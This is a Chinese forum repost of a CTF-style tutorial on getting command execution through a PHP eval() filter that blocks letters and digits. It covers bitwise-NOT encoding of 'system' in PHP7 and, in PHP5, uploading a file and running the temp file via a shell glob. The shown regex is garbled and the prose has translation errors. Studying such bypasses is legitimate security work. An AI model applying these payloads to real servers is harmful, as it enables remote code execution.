铁佛 发表于 2024-10-5 19:25:13

无字母数字webshell下令执行

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
      die("Long.");
    }
    if(preg_match("/+/",$code)){
      die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}
限制:
1.webshell长度不超过35
2.正则过滤掉了数字字母还有$和_
php7环境:

取反
php中’~‘表示取反,而取反之后多数是不可见字符
<?php
var_dump(urlencode(~'system')); 取反后的值为%8C%86%8C%8B%9A%92
解码:
https://i-blog.csdnimg.cn/direct/58cca63fdfd6455b9490d4da94d7c79f.png
<?php
var_dump(urlencode(~'phpinfo')); 答案如下:
https://i-blog.csdnimg.cn/direct/bfb7d41d24024e898257c80b71e3285e.png
https://i-blog.csdnimg.cn/direct/33d549e0637041fe8a985ada3f0d22bb.png
php5环境:
通配符
用通配符来进行匹配,无法准确匹配
https://i-blog.csdnimg.cn/direct/caad2515b1894963b10f0aff92d68715.jpeg
但我们要继承通配符
[^a]表示这里不为a
表示0-9这个范围
而注意到linux中文件基本都是小写,我们上传的文件中后几位是随机的,大概包罗大写,以是我们就只需要利用[]表示出大写字母就可以了
在ascii表中,大写字母处于@-[之间,以是很明确了,使用/???/???????[@-[]来进行匹配
执行:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
   <form action="web.php" method="post" enctype="multipart/form-data">
      <input type="file" name="file" id="">
      <input type="submit" value="submit">
   </form>
</body>
</html> 写一个form表单上传文件到web.php,使用bp抓包,抓一个上传文件的包和web.php的包
 https://i-blog.csdnimg.cn/direct/aa866ef860624319a33769a58a1ec267.png
https://i-blog.csdnimg.cn/direct/031663b524354a0d93e1ceb4c78a2554.png
把第一个包的post内容放入web.php中
https://i-blog.csdnimg.cn/direct/8072b8ca7ac749a8a33681d10d2c99f7.png
发送哀求
https://i-blog.csdnimg.cn/direct/0a8fab9500094965b90eb324f27a9ac4.png
竣事

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 无字母数字webshell下令执行